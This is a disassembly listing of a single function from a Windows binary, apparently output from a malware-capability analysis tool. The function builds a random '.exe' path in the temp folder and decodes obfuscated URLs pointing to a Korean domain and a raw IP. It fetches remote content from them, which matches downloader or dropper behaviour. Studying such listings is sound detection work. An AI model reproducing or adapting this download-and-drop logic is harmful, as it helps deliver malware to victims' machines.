Function at 0x401fc0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x3434
call fcn.00402880
xor eax, eax
push ebp
push esi
push edi
mov byte [esp + 0x20], 0
mov ecx, 0x40
lea edi, [esp + 0x21]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x338], 0
mov ecx, 0x40
lea edi, [esp + 0x339]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x1040], 0
mov ecx, 0x8ff
lea edi, [esp + 0x1041]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x440], 0
mov ecx, 0x2ff
lea edi, [esp + 0x441]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x230], 0
mov ecx, 0x40
lea edi, [esp + 0x231]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x128], 0
mov ecx, 0x40
lea edi, [esp + 0x129]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor esi, esi
call fcn.004026f6
movzx edx, word [esp + 0x1e]
add eax, edx
push eax
call fcn.004026e9
add esp, 4
call fcn.004026f6
and eax, 0x8000000f
jns 0x4020b2
dec eax
or eax, 0xfffffff0
inc eax
mov al, byte [eax + str.0123456789ABCDEF073110116101114110101116082101097100070105108101]
mov byte [esp + esi + 0x338], al
inc esi
cmp esi, 5
jl 0x4020a1
lea eax, [esp + 0x20]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4020d0
sub eax, edx
cmp byte [esp + eax + 0x20], 0x5c
je 0x4020f5
lea eax, [esp + 0x20]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4020e7
sub eax, edx
mov byte [esp + eax + 0x21], 0x5c
lea eax, [esp + 0x338]
mov edx, eax
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402100
lea edi, [esp + 0x20]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402110
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x20]
dec edi
lea ecx, [ecx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402130
mov ecx, dword [str..exe]
mov dl, byte [0x4084e8]
mov dword [edi], ecx
mov ecx, dword [str.104116116112058047047098117115055046099111046107114047117112046116120116]
lea eax, [esp + 0x230]
push eax
push ecx
mov byte [edi + 4], dl
call section..text
lea eax, [esp + 0x238]
add esp, 8
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402170
sub eax, edx
cmp eax, 0xa
jbe 0x402288
push 0x2400
lea edx, [esp + 0x1044]
push edx
lea eax, [esp + 0x238]
push eax
call fcn.00401070
add esp, 0xc
test eax, eax
jne 0x4021fb
mov edx, dword [str.104116116112058047047049050049046050053052046049054053046049048053047105099111110115047100100107046116120116]
lea ecx, [esp + 0x128]
push ecx
push edx
call section..text
lea eax, [esp + 0x130]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021c4
sub eax, edx
cmp eax, 0xa
jbe 0x402288
push 0x2400
lea eax, [esp + 0x1044]
push eax
lea ecx, [esp + 0x130]
push ecx
call fcn.00401070
add esp, 0xc
test eax, eax
je 0x402288
call fcn.00401f10
mov ebp, eax
lea eax, [esp + 0x1040]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402210
sub eax, edx
cmp eax, 0x15
jb 0x402288
lea edx, [esp + 0x1040]
push edx
call fcn.00401f90
add esp, 4
test eax, eax
je 0x402288
lea eax, [esp + 0x440]
push eax
mov ecx, edx
push ecx
call section..text
lea edx, [esp + 0x448]
push 0x3a
push edx
call fcn.004027c0
mov edi, eax
add esp, 0x10
test edi, edi
je 0x402288
lea eax, [esp + 0x440]
push eax
mov byte [edi], 0
call fcn.004026a4
mov esi, eax
add esp, 4
cmp ebp, esi
jae 0x402288
lea ecx, [esp + 0x20]
push ecx
inc edi
push edi
call fcn.00401140
push esi
call fcn.00401ec0
add esp, 0xc
pop edi
pop esi
pop ebp
mov esp, ebp
pop ebp
ret